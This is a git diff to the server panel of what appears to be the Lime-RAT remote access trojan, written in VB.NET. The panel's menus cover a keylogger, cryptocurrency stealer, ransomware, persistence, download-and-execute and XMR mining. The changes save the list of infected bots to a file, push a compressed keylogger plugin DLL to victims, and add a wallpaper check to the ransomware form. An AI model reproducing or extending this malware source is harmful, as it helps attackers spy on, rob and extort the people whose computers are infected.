Me.RemoveOfflineToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.Flag = New System.Windows.Forms.ImageList(Me.components) Me.MetroTabPage4 = New MetroFramework.Controls.MetroTabPage() Me.CAPsec = New System.Windows.Forms.NumericUpDown() @@ -291,10 +293,10 @@ Partial Class Main Me.Main_Rightclick.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None Me.Main_Rightclick.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer)) Me.Main_Rightclick.ImageScalingSize = New System.Drawing.Size(24, 24) - Me.Main_Rightclick.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PluginsToolStripMenuItem, Me.ToolStripSeparator1, Me.DownloadAndExecuteToolStripMenuItem, Me.MiscellaneousToolStripMenuItem, Me.BotPCOptionsToolStripMenuItem, Me.ControllerOptionsToolStripMenuItem, Me.ToolStripSeparator2, Me.NoteToolStripMenuItem, Me.ClientColorToolStripMenuItem, Me.ClientFolderToolStripMenuItem, Me.ToolStripSeparator3, Me.OnConnectToolStripMenuItem, Me.ToolStripSeparator4, Me.AboutToolStripMenuItem}) + Me.Main_Rightclick.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PluginsToolStripMenuItem, Me.ToolStripSeparator1, Me.DownloadAndExecuteToolStripMenuItem, Me.MiscellaneousToolStripMenuItem, Me.BotPCOptionsToolStripMenuItem, Me.ControllerOptionsToolStripMenuItem, Me.ToolStripSeparator2, Me.ListviewOptionsToolStripMenuItem, Me.ToolStripSeparator3, Me.OnConnectToolStripMenuItem, Me.ToolStripSeparator4, Me.AboutToolStripMenuItem}) Me.Main_Rightclick.Name = "ContextMenuStrip1" Me.Main_Rightclick.ShowImageMargin = False - Me.Main_Rightclick.Size = New System.Drawing.Size(201, 328) + Me.Main_Rightclick.Size = New System.Drawing.Size(201, 268) ' 'PluginsToolStripMenuItem ' @@ -585,27 +587,6 @@ Partial Class Main Me.ToolStripSeparator2.Name = "ToolStripSeparator2" Me.ToolStripSeparator2.Size = New System.Drawing.Size(197, 6) ' - 'NoteToolStripMenuItem - ' - Me.NoteToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control - Me.NoteToolStripMenuItem.Name = "NoteToolStripMenuItem" - Me.NoteToolStripMenuItem.Size = New System.Drawing.Size(200, 30) - Me.NoteToolStripMenuItem.Text = "Note" - ' - 'ClientColorToolStripMenuItem - ' - Me.ClientColorToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control - Me.ClientColorToolStripMenuItem.Name = "ClientColorToolStripMenuItem" - Me.ClientColorToolStripMenuItem.Size = New System.Drawing.Size(200, 30) - Me.ClientColorToolStripMenuItem.Text = "Client Color" - ' - 'ClientFolderToolStripMenuItem - ' - Me.ClientFolderToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control - Me.ClientFolderToolStripMenuItem.Name = "ClientFolderToolStripMenuItem" - Me.ClientFolderToolStripMenuItem.Size = New System.Drawing.Size(200, 30) - Me.ClientFolderToolStripMenuItem.Text = "Client Folder" - ' 'ToolStripSeparator3 ' Me.ToolStripSeparator3.Name = "ToolStripSeparator3" @@ -630,6 +611,46 @@ Partial Class Main Me.AboutToolStripMenuItem.Size = New System.Drawing.Size(200, 30) Me.AboutToolStripMenuItem.Text = "About" ' + 'ListviewOptionsToolStripMenuItem + ' + Me.ListviewOptionsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ClientColorToolStripMenuItem1, Me.ClientNoteToolStripMenuItem, Me.ClientFolderToolStripMenuItem1, Me.RemoveOfflineToolStripMenuItem}) + Me.ListviewOptionsToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control + Me.ListviewOptionsToolStripMenuItem.Name = "ListviewOptionsToolStripMenuItem" + Me.ListviewOptionsToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.ListviewOptionsToolStripMenuItem.Text = "Listview Options" + ' + 'ClientColorToolStripMenuItem1 + ' + Me.ClientColorToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) + Me.ClientColorToolStripMenuItem1.ForeColor = System.Drawing.SystemColors.Control + Me.ClientColorToolStripMenuItem1.Name = "ClientColorToolStripMenuItem1" + Me.ClientColorToolStripMenuItem1.Size = New System.Drawing.Size(253, 30) + Me.ClientColorToolStripMenuItem1.Text = "Client Color" + ' + 'ClientNoteToolStripMenuItem + ' + Me.ClientNoteToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) + Me.ClientNoteToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control + Me.ClientNoteToolStripMenuItem.Name = "ClientNoteToolStripMenuItem" + Me.ClientNoteToolStripMenuItem.Size = New System.Drawing.Size(253, 30) + Me.ClientNoteToolStripMenuItem.Text = "Client Note" + ' + 'ClientFolderToolStripMenuItem1 + ' + Me.ClientFolderToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) + Me.ClientFolderToolStripMenuItem1.ForeColor = System.Drawing.SystemColors.Control + Me.ClientFolderToolStripMenuItem1.Name = "ClientFolderToolStripMenuItem1" + Me.ClientFolderToolStripMenuItem1.Size = New System.Drawing.Size(253, 30) + Me.ClientFolderToolStripMenuItem1.Text = "Client Folder" + ' + 'RemoveOfflineToolStripMenuItem + ' + Me.RemoveOfflineToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) + Me.RemoveOfflineToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control + Me.RemoveOfflineToolStripMenuItem.Name = "RemoveOfflineToolStripMenuItem" + Me.RemoveOfflineToolStripMenuItem.Size = New System.Drawing.Size(253, 30) + Me.RemoveOfflineToolStripMenuItem.Text = "Remove Offline" + ' 'Flag ' Me.Flag.ImageStream = CType(resources.GetObject("Flag.ImageStream"), System.Windows.Forms.ImageListStreamer) @@ -1593,7 +1614,6 @@ Partial Class Main ' 'Dicconnction ' - Me.Dicconnction.Enabled = True Me.Dicconnction.Interval = 60000 ' 'Main @@ -1681,8 +1701,6 @@ Partial Class Main Friend WithEvents RestartToolStripMenuItem As ToolStripMenuItem Friend WithEvents CloseToolStripMenuItem As ToolStripMenuItem Friend WithEvents UninstallToolStripMenuItem As ToolStripMenuItem - Friend WithEvents NoteToolStripMenuItem As ToolStripMenuItem - Friend WithEvents ClientColorToolStripMenuItem As ToolStripMenuItem Friend WithEvents AboutToolStripMenuItem As ToolStripMenuItem Friend WithEvents BackgroundWorker1 As System.ComponentModel.BackgroundWorker Friend WithEvents LabelUpdate As Timer @@ -1740,7 +1758,6 @@ Partial Class Main Friend WithEvents VisitWebsiteToolStripMenuItem As ToolStripMenuItem Friend WithEvents RunAsAdministratorToolStripMenuItem As ToolStripMenuItem Friend WithEvents KeyloggerToolStripMenuItem As ToolStripMenuItem - Friend WithEvents ClientFolderToolStripMenuItem As ToolStripMenuItem Friend WithEvents CryptocurrencyStealerToolStripMenuItem As ToolStripMenuItem Friend WithEvents ToolStripSeparator4 As ToolStripSeparator Friend WithEvents XMR As ColumnHeader @@ -1761,4 +1778,9 @@ Partial Class Main Friend WithEvents CAPsec As NumericUpDown Friend WithEvents PersistenceToolStripMenuItem As ToolStripMenuItem Friend WithEvents Dicconnction As Timer + Friend WithEvents ListviewOptionsToolStripMenuItem As ToolStripMenuItem + Friend WithEvents ClientColorToolStripMenuItem1 As ToolStripMenuItem + Friend WithEvents ClientNoteToolStripMenuItem As ToolStripMenuItem + Friend WithEvents ClientFolderToolStripMenuItem1 As ToolStripMenuItem + Friend WithEvents RemoveOfflineToolStripMenuItem As ToolStripMenuItem End Class diff --git a/Project/Server/Forms/Main.resx b/Project/Server/Forms/Main.resx index 28d56d3..be4f4e6 100644 --- a/Project/Server/Forms/Main.resx +++ b/Project/Server/Forms/Main.resx @@ -123,21 +123,18 @@ True - - True - - 22, 14 + 241, 17 - 618, 24 + 824, 17 AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADo - VAYAAk1TRnQBSQFMAgEB8wEAAcABGAHAARgBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk + VAYAAk1TRnQBSQFMAgEB8wEAAeABGAHgARgBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk AwAB0AEDAgABAQEAASAGAAH1AQX/AKIAAwUBBwMQARYDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb AxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDEgEY AwgBCwMFAQcDEAEWAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb @@ -7056,13 +7053,13 @@ - 723, 79 + 331, 65 - 241, 79 + 1531, 17 - 735, 31 + 919, 17 @@ -12269,10 +12266,10 @@ - 223, 23 + 430, 17 - 441, 23 + 659, 17 True @@ -12281,7 +12278,7 @@ True - 885, 31 + 1076, 17 137 @@ -17490,21 +17487,24 @@ - 1111, 31 + 1302, 17 + + + 17, 17 - 241, 79 + 1531, 17 - 425, 79 + 17, 65 - 570, 79 + 170, 65 - 871, 79 + 481, 65 - 970, 79 + 576, 65 \ No newline at end of file diff --git a/Project/Server/Forms/Main.vb b/Project/Server/Forms/Main.vb index a641ad3..31f6071 100644 --- a/Project/Server/Forms/Main.vb +++ b/Project/Server/Forms/Main.vb @@ -1,5 +1,5 @@ '################################################################## -'## N Y A N C A T ||| Updated on Sept/22/2018 ## +'## N Y A N C A T ||| Updated on Sept/25/2018 ## '################################################################## '## ## '## ## @@ -48,6 +48,21 @@ Public Class Main CheckForIllegalCrossThreadCalls = False Try : PingClients.Interval = My.Settings.PING_VALUE * 1000 : Catch : End Try Try : My.Computer.Audio.Play(My.Resources.Intro, AudioPlayMode.Background) : Catch : End Try 'https://freesound.org/people/eardeer/sounds/385281/ + + Try + Dim BotList() As String = IO.File.ReadAllLines("MISC/USERS.dat") + For Each line As String In BotList + Dim lineArray() As String = Split(line, "<<#>>") + Dim bot = L1.Items.Add(lineArray(0)) + bot.ForeColor = Color.Red + For i As Integer = 1 To lineArray.Length - 1 + bot.SubItems.Add(lineArray(i)) + Next + Next + L1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) + Catch ex As Exception + End Try + Try S = New S_TcpListener(S_Settings.PORT) Catch ex As Exception @@ -61,6 +76,19 @@ Public Class Main Private Sub Main_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing My.Settings.Save() + + Try + Dim myWriter As New IO.StreamWriter("MISC/USERS.dat") + Dim SPL As String = "<<#>>" + For Each x As ListViewItem In L1.Items + myWriter.WriteLine(x.Text & SPL & x.SubItems(1).Text & SPL & x.SubItems(2).Text & SPL _ + & x.SubItems(3).Text & SPL & x.SubItems(4).Text & SPL & x.SubItems(5).Text & SPL & x.SubItems(6).Text & SPL _ + & x.SubItems(7).Text & SPL & x.SubItems(8).Text & SPL & x.SubItems(9).Text & SPL & x.SubItems(10).Text & SPL & "Offline" & SPL & x.SubItems(12).Text) + Next + myWriter.Close() + Catch ex As Exception + End Try + Try NotifyIcon1.Dispose() Application.Exit() @@ -228,6 +256,7 @@ Public Class Main For i As Integer = 0 To L1.Items.Count - 1 If L1.Items(i).SubItems(ID.Index).Text = A(1) AndAlso L1.Items(i).SubItems(USERN.Index).Text = A(2) Then L1.Items(i).Tag = u + L1.Items(i).ImageKey = _Gio.LookupCountryCode(S.IP(u)) & ".png" L1.Items(i).SubItems(IP.Index).Text = S.IP(u) L1.Items(i).SubItems(ID.Index).Text = A(1) L1.Items(i).SubItems(USERN.Index).Text = A(2) @@ -240,7 +269,7 @@ Public Class Main L1.Items(i).SubItems(SP.Index).Text = A(9) L1.Items(i).SubItems(PING.Index).Text = "Online" L1.Items(i).ForeColor = Nothing - L1.Items(i).ToolTipText = String.Format("Privileges {0}" + Environment.NewLine + "Full Path {1}", A(12), A(13)) + L1.Items(i).ToolTipText = String.Format("Administrator {0}" + Environment.NewLine + "Full Path {1}", A(12), A(13)) Messages("{" + S.IP(u) + "}", "Reconnected") Try @@ -261,7 +290,7 @@ Public Class Main Dim L = L1.Items.Add(_Gio.LookupCountryName(S.IP(u)), _Gio.LookupCountryCode(S.IP(u)) & ".png") L.Tag = u - Try : L.ToolTipText = String.Format("Privileges {0}" + Environment.NewLine + "Full Path {1}", A(12), A(13)) : Catch : End Try + Try : L.ToolTipText = String.Format("Administrator {0}" + Environment.NewLine + "Full Path {1}", A(12), A(13)) : Catch : End Try L.SubItems.Add(S.IP(u)) For i As Integer = 1 To A.Length - 1 @@ -948,7 +977,7 @@ Public Class Main KL.Show() End If - KL.RichTextBox1.Text = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(A(2))) + KL.RichTextBox1.AppendText(A(2).ToString) Exit Select #End Region @@ -1746,9 +1775,9 @@ Public Class Main Private Sub KeyloggerToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles KeyloggerToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - Dim KL As File_Manager = My.Application.OpenForms("KL" + x.SubItems(ID.Index).Text) + Dim KL As Keylogger = My.Application.OpenForms("KL" + x.SubItems(ID.Index).Text) If KL Is Nothing AndAlso Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then - S.Send(x.Tag, "KL") + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\KLG.dll"), True)) + SPL + " ") x.BackColor = Color.DarkSlateGray End If Next @@ -1843,44 +1872,54 @@ Public Class Main End Try End Sub + Private Sub AboutToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles AboutToolStripMenuItem.Click + About.Show() + End Sub - Private Sub NoteToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles NoteToolStripMenuItem.Click + Private Sub ClientNoteToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ClientNoteToolStripMenuItem.Click On Error Resume Next Dim note As String = InputBox("Enter note", "", "") - For Each x As ListViewItem In L1.SelectedItems STV(x.SubItems(ID.Index).Text + "_" + x.SubItems(USERN.Index).Text + " Note", note) x.SubItems(NOTE_.Index).Text = note Next End Sub - Private Sub ClientColorToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ClientColorToolStripMenuItem.Click + Private Sub ClientColorToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ClientColorToolStripMenuItem1.Click On Error Resume Next Dim cDialog As New ColorDialog For Each x As ListViewItem In L1.SelectedItems - If (cDialog.ShowDialog() = DialogResult.OK) Then - x.ForeColor = cDialog.Color - Dim CCC = ColorTranslator.ToHtml(cDialog.Color) - STV(x.SubItems(ID.Index).Text + "_" + x.SubItems(USERN.Index).Text + " Color", CCC) - Else - DLV(x.SubItems(ID.Index).Text + "_" + x.SubItems(USERN.Index).Text + " Color") - x.ForeColor = Color.FromArgb(142, 188, 0) + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + If (cDialog.ShowDialog() = DialogResult.OK) Then + x.ForeColor = cDialog.Color + Dim CCC = ColorTranslator.ToHtml(cDialog.Color) + STV(x.SubItems(ID.Index).Text + "_" + x.SubItems(USERN.Index).Text + " Color", CCC) + Else + DLV(x.SubItems(ID.Index).Text + "_" + x.SubItems(USERN.Index).Text + " Color") + x.ForeColor = Color.FromArgb(142, 188, 0) + End If End If Next End Sub - Private Sub ClientFolderToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ClientFolderToolStripMenuItem.Click - Try - For Each x As ListViewItem In L1.SelectedItems + Private Sub ClientFolderToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ClientFolderToolStripMenuItem1.Click + On Error Resume Next + For Each x As ListViewItem In L1.SelectedItems Process.Start(uFolder(x.SubItems(USERN.Index).Text + "_" + x.SubItems(ID.Index).Text, "")) Next - Catch ex As Exception - End Try End Sub - Private Sub AboutToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles AboutToolStripMenuItem.Click - About.Show() + Private Sub RemoveOfflineToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RemoveOfflineToolStripMenuItem.Click + On Error Resume Next + For Each x As ListViewItem In L1.Items + If x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + x.Remove() + End If + Next + Dim myWriter As New IO.StreamWriter("MISC/USERS.dat") + myWriter.WriteLine("") + myWriter.Close() End Sub @@ -2166,6 +2205,7 @@ Public Class Main + #End Region diff --git a/Project/Server/Forms/Ransomware.vb b/Project/Server/Forms/Ransomware.vb index 36c254c..76ae7d7 100644 --- a/Project/Server/Forms/Ransomware.vb +++ b/Project/Server/Forms/Ransomware.vb @@ -13,6 +13,10 @@ End Sub Private Sub MetroButton1_Click(sender As Object, e As EventArgs) Handles MetroButton1.Click + If PictureBox1.ImageLocation = Nothing Then + MsgBox("Missing Wallpaper", MsgBoxStyle.Critical) + Return + End If OK = True Close() End Sub diff --git a/README.md b/README.md index 8278827..d6a269e 100644 --- a/README.md +++ b/README.md @@ -162,6 +162,14 @@ https://github.com/NYAN-x-CAT/Lime-RAT/releases --- +## Support + +* Github: https://github.com/NYAN-x-CAT/Lime-RAT/issues/new +* Discord: https://discord.gg/bngKcYw +* Email: NYANxCAT@pm.me + +--- + ## Disclaimer I, the creator, am not responsible for any actions, and or damages, caused by this software.